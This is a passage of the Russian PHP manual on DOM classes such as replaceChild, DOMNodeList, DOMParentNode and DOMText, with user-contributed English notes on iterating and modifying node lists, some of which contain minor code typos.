Старый узел.

Возвращаемые значения

Старый узел или false в случае возникновения ошибки.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения или предыдущий родитель вставляемого узла доступен только для чтения.

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип узла не поддерживает потомков типа, который имеет узел node, или же если добавляемый узел является предком целевого узла или им самим.

DOM_WRONG_DOCUMENT_ERR

Возникает, если node создан в другом документе, отличном от того, в котором был создан этот узел.

DOM_NOT_FOUND

Возникает, если child не является дочерним узлом данного узла.

Смотрите также

  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы
  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMNode::removeChild() - Удаляет дочерний узел из списка потомков

User Contributed Notes

chealer at gmail dot com 15-Aug-2018 03:07
As of version 5.6, PHP still behaves as reported by jb at jbpros dot com. To use replaceChild() in a loop, the more standard pattern used in the following example can be used:

for ($currentNode = 0; $currentNode < $link->childNodes->length; $currentNode++) {
    $child = $link->childNodes[$currentNode];

    // "Remove" links, since links can't contain links
    if ($child instanceof DOMElement && $child->tagName == 'a') {
        $replacement = $dom->createTextNode($child->textContent);
        $link->replaceChild($replacement, $child);
    }
}
jb at jbpros dot com 01-Mar-2005 08:08
If you are trying to replace more than one node at once, you have to be careful about iterating over the DOMNodeList.  If the old node has a different name from the new node, it will be removed from the list once it has been replaced.  Use a regressive loop:

<?php

$xml = new DOMDocument;
$xml->load('docfile.xml');

$elements = $xml->getElementsByTagNameNS('http://www.example.com/NS/', '*');
$i = $elements->length - 1;
while ($i > -1) {
    $element = $elements->item($i);
    $ignore = false;

    $newelement = $xml>createTextNode('Some new node!');
    $element->parentNode->replaceChild($newelement, $element);
    $i--;
}

?>

The loop counter ($i) will always be in the list's interval as removed elements indexes are above the counter.
aidan at php dot net 26-Dec-2004 02:17
Here is a simple example for replacing a node:

Let's define our XML like so:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<root>
  <parent>
     <child>bar</child>
     <child>foo</child>
  </parent>
</root>
XML;
?>

If we wanted to replace the entire <parent> node, we could do something like this:

<?php
// Create a new document fragment to hold the new <parent> node
$parent = new DomDocument;
$parent_node = $parent ->createElement('parent');

// Add some children
$parent_node->appendChild($parent->createElement('child', 'somevalue'));
$parent_node->appendChild($parent->createElement('child', 'anothervalue'));

// Add the keywordset into the new document
// The $parent variable now holds the new node as a document fragment
$parent->appendChild($parent_node);
?>

Next, we need to locate the old node:

<?php
// Load the XML
$dom = new DomDocument;
$dom->loadXML($xml);

// Locate the old parent node
$xpath = new DOMXpath($dom);
$nodelist = $xpath->query('/root/parent');
$oldnode = $nodelist->item(0);
?>

We then import and replace the new node:

<?php
// Load the $parent document fragment into the current document
$newnode = $dom->importNode($parent->documentElement, true);

// Replace
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// Display
echo $dom->saveXML();
?>

Our new node is successfully imported:

<?xml version="1.0"?>
<root>
<parent><child>somevalue</child><child>anothervalue</child></parent>
</root>
franp at free dot fr 23-Sep-2004 08:39
1) If your XPath query returns a NodeList including a unique item, or if you know for sure the order of the items returned, you can use the "item(n)" syntax instead of the "foreach" syntax.
This can greatly improve you code lisibility.
s the method name implies, replaceChild cannot replace a node itself but a child of a node.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
 <actionGlobal>
  <actionGlobalFR>sometext</actionGlobalFR>
 <actionGlobal>
</action>

$frag = $doc->createElement("actionGlobalFR");
$fragA = $doc->createTextNode("anothertext");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/actionGlobal/actionGlobalFR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($ajout, $xpResult->item(0));

2) Also, as the method name implies, replaceChild cannot replace a node itself but a child of a node.
Still it is possible to replace a node pointed by XPath istead of its child.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
  <FR>French Text</FR>
</action>

<?php
$frag = $doc->createElement("EN");
$fragA = $doc->createTextNode("English Text");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/FR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($fragA, $xpResult->item(0));
?>

Et voil? !

This produces :
<?xml version="1.0" ?>
<action>
  <EN>English Text</EN>
</action>

....................................................

3) Also, be carefull, you CANNOT replace a node that doesn't exist.
While this may seems obvious, it is easy to forget.

Consider this :
<?xml version="1.0" ?>
<action>
  <EN></EN>
</action>

You cannot use replaceChild() to turn this into :
<?xml version="1.0" ?>
<action>
  <EN>Some text</EN>
</action>

The reason is that since the <EN></EN> element is empty, it has no child (this is clearer to understand if you consider that <EN></EN> can be written <EN />).
The fact that you intend to put some text inbetween <EN> and </EN> does not change the fact that it has no text yet, thus no child yet.
When dealing with DOM, do not take your dream for the reality. The DOM parser doen't care about your dreams. If an element is currently empty, it has no child, whatever you intend to fill in.

Thus, the solution to teh problem is to use appendChild intead of replaceChild :

<?php
$fragA = $doc->createTextNode("Some Text");
$xpResult = $xp->query("/action/EN");
$blipblip = $xpResult->item(0)->appendChild($fragA);
?>

This produces the awaited :
<?xml version="1.0" ?>
<action>
  <EN>Some Text</EN>
</action>

....................................................

4) Note that the description of replaceChild in the doc is wrong. Arguments have been inverted.
The correct description is :
object DOMNode->replaceChild (object newnode, object oldnode)


Класс DOMNodeList

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMNodeList implements IteratorAggregate, Countable {
/* Свойства */
public readonly int $length;
/* Методы */
public count(): int
public getIterator(): Iterator
public item(int $index): DOMElement|DOMNode|DOMNameSpaceNode|null
}

Свойства

length

Количество узлов в списке. Диапазон действительных индексов дочерних узлов находится в промежутке от 0 до length — 1 включительно.

Список изменений

Версия | Описание
8.0.0 | Класс DOMNodeList теперь реализует интерфейс IteratorAggregate. Ранее вместо этого был реализован интерфейс Traversable.
7.2.0 | Реализован интерфейс Countable и возвращает значение свойства length.

Смотрите также

  • » Спецификация W3C по NodeList

Содержание

  • DOMNodeList::count — Получить количество узлов в списке
  • DOMNodeList::getIterator — Получает внешний итератор
  • DOMNodeList::item — Получает узел с заданным индексом

User Contributed Notes

niko at yopmail dot com 03-Apr-2021 03:13
It's worth to mention that DOMNodeList is not an Array,  so you have to convert first to an array before to use for, foreach or array_map, array_filter, array_walk functions.

Use iterator_to_array to make the conversion ( since PHP 5.1.0 ) .

<code>
  /* @ suppress warning var_dump not yet implemented for class */

@array_walk( iterator_to_array( $Some_NodeList ), 'var_dump' ) );

foreach( iterator_to_array( $Some_NodeList ) as $node )
    @var_dump( $node );

</code>

Hope is usefull.
ignitedfirestarter at gmail dot com 04-Jul-2012 10:39
If you want to recurse over a DOM then this might help:
<?php

/**
 * PHP's DOM classes are recursive but don't provide an implementation of
 * RecursiveIterator. This class provides a RecursiveIterator for looping over DOMNodeList
 */
class DOMNodeRecursiveIterator extends ArrayIterator implements RecursiveIterator {

  public function __construct (DOMNodeList $node_list) {

    $nodes = array();
    foreach($node_list as $node) {
      $nodes[] = $node;
    }

    parent::__construct($nodes);

  }

  public function getRecursiveIterator(){
    return new RecursiveIteratorIterator($this, RecursiveIteratorIterator::SELF_FIRST);
  }

  public function hasChildren () {
    return $this->current()->hasChildNodes();
  }

  public function getChildren () {
    return new self($this->current()->childNodes);
  }

}
?>
geompse at gmail dot com 19-May-2010 08:39
Note that $length is calculated (php5.3.2).
Iterating over a large NodeList may be time expensive.

Prefer :
$nb = $nodelist->length;
for($pos=0; $pos<$nb; $pos++)

Than:
for($pos=0; $pos<$nodelist->length; $pos++)

I had a hard time figuring that out...
bobvandell at hotmail dot com 26-Aug-2008 09:12
That's actually incorrect. You can use function results as objects. It makes building an API for your database very clean and neat. For example:

Our code:

$articles = Node::screate('tags', 123456)->assets('like:title:test')->articles;

We use the above code to get articles that are linked to assets that are linked to a specific tag in our database.
c dot 1 at smithies dot org 23-May-2008 05:43
You can modify, and even delete, nodes from a DOMNodeList if you iterate backwards:

$els = $document->getElementsByTagName('input');
for ($i = $els->length; --$i >= 0; ) {
  $el = $els->item($i);
  switch ($el->getAttribute('name')) {
    case 'MAX_FILE_SIZE' :
      $el->parentNode->removeChild($el);
    break;
    case 'inputfile' :
      $el->setAttribute('type', 'text');
    //break;
  }
}
drichter at muvicom dot de 14-May-2008 06:11
Addition to my first note:

An traditional for-loop does not allow you to change the DOM-tree while looping - the effects are the nearly the same as with foreach. So you have to collect the nodes in an array and do the tree-altering stuff within a second loop (looping the array this time ...)
drichter at muvicom dot de 14-May-2008 04:56
I have done some testing and have found 2 results:
(My System: Win XP with PHP 5.2.1)

1) Iteration with foreach does function correctly as "james dot j dot hackett at gmail dot com" writes, _if_ you only do readonly stuff with foreach or minor writings of some attributes.

2) foreach does not function, if you are doing some DOM-Operations while iterating. In my situation it was adding the iterated $node as an child to an new node:

$newNode = $dom->createElement('newNode') ;
foreach ($nodeList as $node) {
  echo $node->nodeValue ;
  $newNode->appendChild($node) ;
}

This only gives you the first element ...

I'm interpreting it as an confusing but correct behavior because of the changes within the $dom-object while appending the node at an additional place ...

So, if you want to do something like 2) use for, length and item() :)
james dot j dot hackett at gmail dot com 08-May-2008 09:47
In Response to 'kassah at gmail'

You don't need to convert a DOMNodeList to an array in order iterate through it using 'foreach'.  You can use foreach directly with the DOMNodeList.

$nodeList = $someDomDocument->getElementsbytagname('user');

foreach ($nodeList as $node) {
    echo $node->nodeValue;
}
brack at wjp dot de 21-Apr-2008 02:35
In PHP 5.2.5 (Windows) it is not possible to iterate correctly over the DOMNodeList object returned by DOMNode->childNodes using foreach. Instead I had to use the for loop in conjunction with the item() method of DOMNodeList for iterating over all child nodes correctly.

I don't know whether this is really a bug, but apparently it is.


Получить количество узлов в списке

  • « DOMNodeList
  • DOMNodeList::getIterator »
  • PHP Manual
  • DOMNodeList
  • Получить количество узлов в списке

DOMNodeList::count

(PHP 7 >= 7.2.0, PHP 8)

DOMNodeList::count — Получить количество узлов в списке

Описание

public DOMNodeList::count(): int

Получает количество узлов в списке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество узлов в списке, который идентичен свойству length.

User Contributed Notes

plimpton47 at example dot com 04-May-2018 08:09
Be careful with using this function as it's not available for anything before PHP 7.2, use the length property instead


Получает внешний итератор

  • « DOMNodeList::count
  • DOMNodeList::item »
  • PHP Manual
  • DOMNodeList
  • Получает внешний итератор

DOMNodeList::getIterator

(PHP 8)

DOMNodeList::getIterator — Получает внешний итератор

Описание

public DOMNodeList::getIterator(): Iterator

Возвращает внешний итератор для списка узлов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает экземпляр объекта, который реализует интерфейс Iterator или интерфейс Traversable.

Ошибки

Метод выбрасывает исключение Exception, если возникла ошибка.

Смотрите также

  • IteratorAggregate::getIterator() - Получает внешний итератор

User Contributed Notes

There are no user contributed notes for this page.


Получает узел с заданным индексом

  • « DOMNodeList::getIterator
  • DOMNotation »
  • PHP Manual
  • DOMNodeList
  • Получает узел с заданным индексом

DOMNodeList::item

(PHP 5, PHP 7, PHP 8)

DOMNodeList::item — Получает узел с заданным индексом

Описание

public DOMNodeList::item(int $index): DOMElement|DOMNode|DOMNameSpaceNode|null

Извлекает узел с заданным индексом index из объекта класса DOMNodeList.

Подсказка

Если требуется узнать количество узлов в коллекции, используйте свойство length объекта класса DOMNodeList.

Список параметров

index

Индекс узла в коллекции.

Возвращаемые значения

Узел, находящийся в позиции index объекта DOMNodeList, или null, если этот индекс недопустим.

Примеры

Пример #1 Вывод содержимого таблицы

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$items = $doc->getElementsByTagName('entry');

for ($i = 0; $i < $items->length; $i++) {
echo $items->item($i)->nodeValue . "\n";
}

?>

Кроме того, можно воспользоваться foreach;, что будет намного удобнее:

<?php

foreach ($items as $item) {
echo $item->nodeValue . "\n";
}

?>

Результат выполнения приведённого примера:

Title
Author
Language
ISBN
The Grapes of Wrath
John Steinbeck
en
0140186409
The Pearl
John Steinbeck
en
014017737X
Samarcande
Amine Maalouf
fr
2253051209

User Contributed Notes

jeffpuckett2 at gmail dot com 15-Jun-2016 02:55
DOMNodelist::item can return a DOMElement object, which extends DOMNode class. But it can also return a DOMText object.

<?php
$xml = '
<root>
  <node/>
  <node>
    <sub>more</sub>
  </node>
  <node>
    <sub>another</sub>
  </node>
  <node>value</node>
</root>
';

$doc = new DOMDocument();
$doc->loadXML($xml);

$items = $doc->documentElement->childNodes;
for ($i = 0; $i < $items->length; $i++)
  echo get_class($items->item($i)).PHP_EOL;
?>

Results in this output:

DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
Anonymous 25-Jun-2012 11:36
calling domnodelist->item($i) with an index $i greater than domnodelist->length - 1 , will return the entire document, will not produce an error, and will not circle back to the start of the list.
Nagy Attila 06-Jan-2011 09:02
DOMNodeList::item does not return in constant time!

If you need to iterate over large nodelist then you'd better use standard navigation.

Instead of:

<?php
foreach ($nodelist as $node) {
    // do something
}
?>

you could do:

<?php
$node = $parentnode->firstChild;

do {
    // do something
} while ($node = $node->nextSibling);
?>
olivier dot berger at it-sudparis dot eu 21-Aug-2008 02:56
It seems that with zend.ze1_compatibility_mode on, the only way to iterate over the items list is with :
for ($i = 0; $i < $nodeList->length; ++$i) {
    $nodeName = $nodeList->item($i)->nodeName;
    $nodeValue = $nodeList->item($i)->nodeValue;
}

As other attemps failed :

for ($i = 0; $i < $nodeList->length; ++$i) {
    $node = &$nodeList->item($i);
    $nodeName = $node->nodeName;
    $nodeValue = $node->nodeValue;
}

or :
foreach ($nodeList as $node) {
    echo $node->nodeName;
    echo $node->nodeValue;
}
vinyanov at poczta dot onet dot pl 05-Jan-2008 10:12
SimpleXML has its own SPL iterator. See http://www.php.net/~helly/php/ext/spl/classSimpleXMLIterator.html . But I guess that there are none for DOM nodes. By the way, two out of three implementations I found over the Net were not recursive, so I wrote my own. Here is the snippet:

<?php

class DOMNodeListIterator implements RecursiveIterator
{
    private
        $nodes,
        $offset;

    function __construct(DOMNodeList $nodes)
    {
        return $this -> nodes = $nodes;
    }

    function rewind()
    {
        return $this -> offset = 0;
    }

    function current()
    {
        return $this -> nodes -> item($this -> offset);
    }

    function key()
    {
        return $this -> current() -> nodeName;
    }

    function next()
    {
        return $this -> offset++;
    }

    function valid()
    {
        return $this -> offset < $this -> nodes -> length;
    }

    function hasChildren()
    {
        return isset($this -> current() -> childNodes -> length) && $this -> current() -> childNodes -> length > 0;
    }

    function getChildren()
    {
        return new self($this -> current() -> childNodes);
    }
}

?>

Remember to use RecursiveIteratorIterator::SELF_FIRST flag when you create your iterator iterator.

<?php

$iterator = new DOMNodeListIterator($document -> childNodes);
$iterator = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::SELF_FIRST);

?>

Should work, has just few minutes though. :)
Hayley Watson 29-Oct-2007 02:14
Keep in mind that DOMNodelists are "live" - changes to the document or node that the DOMNodelist was derived from will be reflected in the DOMNodelist. In other words, a list of a parent node's children will change if you change the parent's children!
james dot dunmore at gmai dot com 27-Jul-2007 08:57
tfg_allardyce at gmail dot com

I have had exactly this problem.

To rectify I've had to do this:
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0);
$new_element = $doc->createElement('NewElement1');

$old_element_childNodes = $old_element->childNodes;
$length = $old_element_childNodes->length;

for($i = 0; $i < $length; $i++)
{
    $oldChildren_array[] = $old_element_childNodes->item($i);
}

foreach($oldChildren_array as $old_c)
{
    $new_element->appendChild($old_c);
}
?>

Rather than this:
(which I will bug report)
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0):
$new_element = $doc->createElement('NewElement1');

foreach($old_element->childNode as $node)
{
     $new_element->appendChild($node);
}

?>

Using the latter, randomally removes the children!
Geoffrey Thubron 26-May-2007 02:47
@ tfg_allardyce at gmail dot com

You could loop through the list backwards, that way, you are only ever taking off the last item from the list, and hence wont have disrupted the order.
oliver dot christen at camptocamp dot com 13-Feb-2007 07:27
NodeList are something annoying because you can't output the content with a simple print_r, so I did a little function that add all the node to a new empty DOMDocument and output it as a string.
Have fun.

<?php

public function domNodeList_to_string($DomNodeList) {
    $output = '';
    $doc = new DOMDocument;
    while ( $node = $DomNodeList->item($i) ) {
        // import node
        $domNode = $doc->importNode($node, true);
        // append node
        $doc->appendChild($domNode);
        $i++;
    }
    $output = $doc->saveXML();
    $output = print_r($output, 1);
    // I added this because xml output and ajax do not like each others
    $output = htmlspecialchars($output);
    return $output;
}

?>


Класс DOMNotation

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMNotation extends DOMNode {
/* Свойства */
public readonly string $publicId;
public readonly string $systemId;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

publicId

systemId

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс DOMParentNode

(PHP 8)

Обзор интерфейсов

interface DOMParentNode {
/* Методы */
public append(DOMNode|string ...$nodes): void
public prepend(DOMNode|string ...$nodes): void
public replaceChildren(DOMNode|string ...$nodes): void
}

Содержание

  • DOMParentNode::append — Добавляет узлы после последнего дочернего узла
  • DOMParentNode::prepend — Добавляет узлы перед первым дочерним узлом
  • DOMParentNode::replaceChildren — Заменяет потомков в узле

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы после последнего дочернего узла

  • « DOMParentNode
  • DOMParentNode::prepend »
  • PHP Manual
  • DOMParentNode
  • Добавляет узлы после последнего дочернего узла

DOMParentNode::append

(PHP 8)

DOMParentNode::append — Добавляет узлы после последнего дочернего узла

Описание

public DOMParentNode::append(DOMNode|string ...$nodes): void

Добавляет один или несколько nodes в список дочерних узлов после последнего дочернего узла.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Смотрите также

  • DOMParentNode::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед первым дочерним узлом

  • « DOMParentNode::append
  • DOMParentNode::replaceChildren »
  • PHP Manual
  • DOMParentNode
  • Добавляет узлы перед первым дочерним узлом

DOMParentNode::prepend

(PHP 8)

DOMParentNode::prepend — Добавляет узлы перед первым дочерним узлом

Описание

public DOMParentNode::prepend(DOMNode|string ...$nodes): void

Добавляет один или несколько nodes в список дочерних узлов перед первым дочерним узлом.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Смотрите также

  • DOMParentNode::append() - Добавляет узлы после последнего дочернего узла

User Contributed Notes

There are no user contributed notes for this page.


Заменяет потомков в узле

  • « DOMParentNode::prepend
  • DOMProcessingInstruction »
  • PHP Manual
  • DOMParentNode
  • Заменяет потомков в узле

DOMParentNode::replaceChildren

(PHP 8 >= 8.3.0)

DOMParentNode::replaceChildren — Заменяет потомков в узле

Описание

public DOMParentNode::replaceChildren(DOMNode|string ...$nodes): void

Заменяет потомков в узле.

Список параметров

nodes

Узлы, которыми будут заменены потомки. Строки автоматически преобразовываются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMParentNode::replaceChildren()

<?php

$dom = new DOMDocument();
$dom->loadHTML('<!DOCTYPE HTML><html><p>Привет!</p> проверка <p>Снова привет!</p></html>');

$dom->documentElement->replaceChildren('foo', $dom->createElement('p'), 'bar');
echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE HTML>
<html>foo<p/>bar</html>

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMProcessingInstruction

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMProcessingInstruction extends DOMNode {
/* Свойства */
public readonly string $target;
public string $data;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $name, string $value = "")
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

target

data

Содержание

  • DOMProcessingInstruction::__construct — Создаёт новый объект класса DOMProcessingInstruction

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект класса DOMProcessingInstruction

  • « DOMProcessingInstruction
  • DOMText »
  • PHP Manual
  • DOMProcessingInstruction
  • Создаёт новый объект класса DOMProcessingInstruction

DOMProcessingInstruction::__construct

(PHP 5, PHP 7, PHP 8)

DOMProcessingInstruction::__construct — Создаёт новый объект класса DOMProcessingInstruction

Описание

public DOMProcessingInstruction::__construct(string $name, string $value = "")

Создаёт новый объект класса DOMProcessingInstruction. Этот объект будет доступен только для чтения. Он может быть добавлен в документ. Дополнительные узлы нельзя прикрепить к этому объекту, пока он присоединён к какому-либо документу. Для создания модифицируемого узла используйте DOMDocument::createProcessingInstruction.

Список параметров

name

Имя инструкции для обработчика.

value

Значение инструкции для обработчика.

Примеры

Пример #1 Создание объекта класса DOMProcessingInstruction

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$html = $dom->appendChild(new DOMElement('html'));
$body = $html->appendChild(new DOMElement('body'));
$pinode = new DOMProcessingInstruction('php', 'echo "Hello World"; ');
$body->appendChild($pinode);
echo $dom->saveXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="UTF-8"?>
<html><body><?php echo "Hello World"; ?></body></html>

Смотрите также

  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMText

(PHP 5, PHP 7, PHP 8)

Введение

Класс DOMText наследуется от DOMCharacterData и представляет текстовое содержимое DOMElement или DOMAttr.

Обзор классов

class DOMText extends DOMCharacterData {
/* Свойства */
public readonly string $wholeText;
/* Наследуемые свойства */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $data = "")
public isElementContentWhitespace(): bool
public isWhitespaceInElementContent(): bool
public splitText(int $offset): DOMText|false
/* Наследуемые методы */
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

wholeText

Содержит весь текст смежных (не разделённые другими элементами, комментариями или инструкциями) текстовых узлов.

Список изменений

Версия | Описание
8.0.0 | Нереализованный метод DOMText::replaceWholeText() был удалён.

Содержание

  • DOMText::__construct — Создаёт объект класса DOMText
  • DOMText::isElementContentWhitespace — Возвращает, содержит ли текстовый узел пробел в содержимом элемента
  • DOMText::isWhitespaceInElementContent — Определяет, содержит ли текстовый узел пробелы в содержимом
  • DOMText::splitText — Разделяет узел на два, начиная с заданной позиции

User Contributed Notes

Trititaty 20-Oct-2016 11:47
Text replacement function for DOM.

<?php
function domTextReplace( $search, $replace, DOMNode &$domNode, $isRegEx = false ) {
